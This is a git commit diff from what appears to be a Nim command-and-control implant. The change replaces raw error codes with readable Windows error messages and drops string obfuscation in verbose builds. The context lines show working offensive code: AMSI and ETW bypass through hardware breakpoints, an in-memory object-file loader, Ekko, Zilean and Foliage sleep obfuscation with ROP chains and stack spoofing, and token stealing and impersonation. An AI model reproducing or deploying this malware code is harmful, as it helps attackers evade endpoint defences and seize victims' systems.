Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.

This commit is contained in:
Jakob Friedl
2025-10-21 22:37:57 +02:00
parent 7e6b0c8442
commit 51748639de
11 changed files with 116 additions and 105 deletions

View File

@@ -19,14 +19,14 @@ import ../../common/[types, utils]
proc amsiPatch(pThreadCtx: PCONTEXT) =
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
SETPARAM_6(pThreadCtx, cast[PULONG](0))
print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN"
CONTINUE_EXECUTION(pThreadCtx)
proc etwPatch(pThreadCtx: PCONTEXT) =
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
pThreadCtx.Rsp += sizeof(PVOID)
pThreadCtx.Rax = STATUS_SUCCESS
print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS"
CONTINUE_EXECUTION(pThreadCtx)
#[

View File

@@ -149,12 +149,12 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
if hModule == 0:
hModule = LoadLibraryA(library)
if hModule == 0:
raise newException(CatchableError, fmt"Library {$library} not found.")
raise newException(CatchableError, GetLastError().getError())
# Resolve the function from the loaded library
resolved = GetProcAddress(hModule, function)
if resolved == NULL:
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
raise newException(CatchableError, GetLastError().getError())
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
@@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
# Change the memory protection from [RW-] to [R-X]
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Execute BOF entry point
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
@@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
# Revert the memory protection change
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
return true
@@ -332,7 +332,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
var pObject = addr objectFile[0]
if pObject == NULL or entryFunction == NULL:
raise newException(CatchableError, "Arguments pObject and entryFunction are required.")
raise newException(CatchableError, protect("Missing required arguments."))
# Parsing the object file's file header, symbol table and sections
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
@@ -347,10 +347,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
when defined(amd64):
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Only x64 object files are supported")
raise newException(CatchableError, protect("Only x64 object files are supported."))
else:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Only x64 object files are supported")
raise newException(CatchableError, protect("Only x64 object files are supported."))
# Calculate required virtual memory
virtSize = objectVirtualSize(addr objCtx)
@@ -360,14 +360,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
if virtAddr == NULL:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
# Allocate heap memory to store section map array
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
if objCtx.secMap == NULL:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
@@ -399,7 +399,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
print "[*] Processing sections and performing relocations."
if not objectProcessSection(addr objCtx):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Failed to process sections.")
raise newException(CatchableError, protect("Failed to process sections."))
# Executing the object file
print "[*] Executing."

View File

@@ -39,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(agentKeyPair.privateKey)
print protect("[+] Profile configuration deserialized.")
print "[+] Profile configuration deserialized."
return ctx
proc init*(T: type AgentCtx): AgentCtx =

View File

@@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
print protect("[-] "), err.msg
echo "[-] ", err.msg
finally:
client.close()
@@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err:
print protect("[-] "), err.msg
print "[-] ", err.msg
return false
finally:

View File

@@ -34,8 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
print protect("[!] GetThreadContext Failed: "), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
case drx:
of Dr0:
@@ -60,8 +59,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
print protect("[!] SetThreadContext Failed: "), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
return true
@@ -70,8 +68,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
print protect("[!] GetThreadContext Failed: "), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
# Remove the address of the hooked function from the thread context
case drx:
@@ -88,8 +85,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
print protect("[!] SetThreadContext Failed"), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
return true
@@ -197,7 +193,7 @@ proc initializeHardwareBPVariables*(): bool =
# Add 'VectorHandler' as the VEH
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
if cast[int](g_VectorHandler) == 0:
print protect("[!] AddVectoredExceptionHandler Failed")
raise newException(CatchableError, GetLastError().getError())
return false
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:

View File

@@ -1,8 +1,13 @@
import winim/lean
import macros
import strutils, strformat
import ../../common/[types, utils]
const VERBOSE* {.booldefine.} = false
type
RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.}
# Only print to console when VERBOSE mode is enabled
template print*(args: varargs[untyped]): untyped =
when defined(VERBOSE) and VERBOSE == true:
@@ -12,6 +17,15 @@ template print*(args: varargs[untyped]): untyped =
# Convert Windows API error to readable value
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
proc getError*(errorCode: DWORD): string =
var msg = newWString(512)
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL)
msg.nullTerminate()
return strip($msg) & fmt" ({$errorCode})"
# Convert NTSTATUS to readable value
# https://ntdoc.m417z.com/rtlntstatustodoserror
proc getNtError*(status: NTSTATUS): string =
let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError")))
let errorCode = pRtlNtStatusToDosError(status)
return getError(errorCode)

View File

@@ -95,11 +95,11 @@ proc GetRandomThreadCtx(): CONTEXT =
# Create snapshot of all available threads
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: CloseHandle(hSnapshot)
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
# Check if the thread belongs to the current process but is not the current thread
@@ -118,7 +118,7 @@ proc GetRandomThreadCtx(): CONTEXT =
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
return ctx
print protect("[-] No suitable thread for stack duplication found.")
print "[-] No suitable thread for stack duplication found."
return ctx
#[
@@ -144,41 +144,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
# Create timer queue
status = apis.RtlCreateTimerQueue(addr queue)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: discard apis.RtlDeleteTimerQueue(queue)
# Create events
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventTimer)
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventStart)
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventEnd)
# Retrieve the initial thread context
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
if spoofStack:
# Stack duplication
@@ -192,7 +192,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
if spoofStack:
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hThread)
# Preparing the ROP chain
@@ -278,19 +278,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
print protect("[-] "), err.msg
print "[-] ", err.msg
#[
@@ -316,38 +316,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
# Create events
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventTimer)
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventWait)
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventStart)
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventEnd)
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
raise newException(CatchableError, status.getNtError())
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
if spoofStack:
# Stack duplication
@@ -361,7 +361,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
if spoofStack:
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hThread)
# Preparing the ROP chain
@@ -446,19 +446,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
print protect("[-] "), err.msg
print "[-] ", err.msg
#[
@@ -477,20 +477,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
# Start synchronization event
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventSync)
# Start suspended thread where the APC calls will be queued and executed
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print fmt"[*] [{hThread.repr}] Thread created "
defer: CloseHandle(hThread)
ctxInit.ContextFlags = CONTEXT_FULL
status = apis.NtGetContextThread(hThread, addr ctxInit)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
@@ -552,24 +552,24 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
for i in 0 .. gadget:
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Start sleep obfuscation
status = apis.NtAlertResumeThread(hThread, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
print protect("[-] "), err.msg
print "[-] ", err.msg
# Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =

View File

@@ -1,5 +1,6 @@
import winim/lean
import strformat
import ./io
import ../../common/[types, utils]
#[
@@ -65,7 +66,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
if status != STATUS_SUCCESS:
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
return hToken
@@ -111,7 +112,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
let
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
@@ -127,16 +128,16 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
if pUser == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pUser))
status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
@@ -148,7 +149,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
return cast[bool](pElevation.TokenIsElevated)
@@ -160,16 +161,16 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
if pGroups == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pGroups))
status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
let
groupCount = pGroups.GroupCount
@@ -187,16 +188,16 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
if pPrivileges == NULL:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pPrivileges))
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
let
privCount = pPrivileges.PrivilegeCount
@@ -254,7 +255,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtDuplicateToken ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
else:
# Use the original token if it is already an impersonation token
@@ -263,7 +264,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtSetInformationThread ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(impersonationToken)
@@ -281,7 +282,7 @@ proc rev2self*() =
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("RevertToSelf ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
#[
Create a new access token from a username, password and domain name triplet.
@@ -304,7 +305,7 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
var hToken: HANDLE
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
@@ -325,7 +326,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
defer: discard apis.NtClose(hToken)
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError,GetLastError().getError())
# Enable privilege
tokenPrivs.PrivilegeCount = 1
@@ -334,7 +335,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
let action = if enable: protect("Enabled") else: protect("Disabled")
return fmt"{action} {apis.privilegeToString(addr luid)}."
@@ -365,13 +366,13 @@ proc stealToken*(pid: int): string =
# Open a handle to the target process
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(hProcess)
# Open a handle to the primary access token of the target process
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)

View File

@@ -108,7 +108,7 @@ when defined(agent):
# Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
print protect(" [>] Retrieving current working directory.")
print " [>] Retrieving current working directory."
try:
# Get current working directory using GetCurrentDirectory
@@ -117,7 +117,7 @@ when defined(agent):
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
if length == 0:
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
let output = $buffer[0 ..< (int)length]
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
@@ -132,12 +132,12 @@ when defined(agent):
# Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data)
print protect(" [>] Changing current working directory to {targetDirectory}.")
print " [>] Changing current working directory to {targetDirectory}."
try:
# Get current working directory using GetCurrentDirectory
if SetCurrentDirectoryW(targetDirectory) == FALSE:
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -160,7 +160,7 @@ when defined(agent):
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
if cwdLength == 0:
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
@@ -187,7 +187,7 @@ when defined(agent):
hFind = FindFirstFileW(searchPatternW, &findData)
if hFind == INVALID_HANDLE_VALUE:
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
# Directory was found and can be listed
else:
@@ -305,7 +305,7 @@ when defined(agent):
try:
if DeleteFile(target) == FALSE:
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -323,7 +323,7 @@ when defined(agent):
try:
if RemoveDirectoryA(target) == FALSE:
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -342,7 +342,7 @@ when defined(agent):
try:
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -363,7 +363,7 @@ when defined(agent):
try:
# Copy file to new location, overwrite if a file with the same name already exists
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
raise newException(CatchableError, GetLastError().getError())
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])

View File

@@ -83,17 +83,17 @@ when defined(agent):
# Obtain handle to the device context for the entire screen
deviceCtx = GetDC(0)
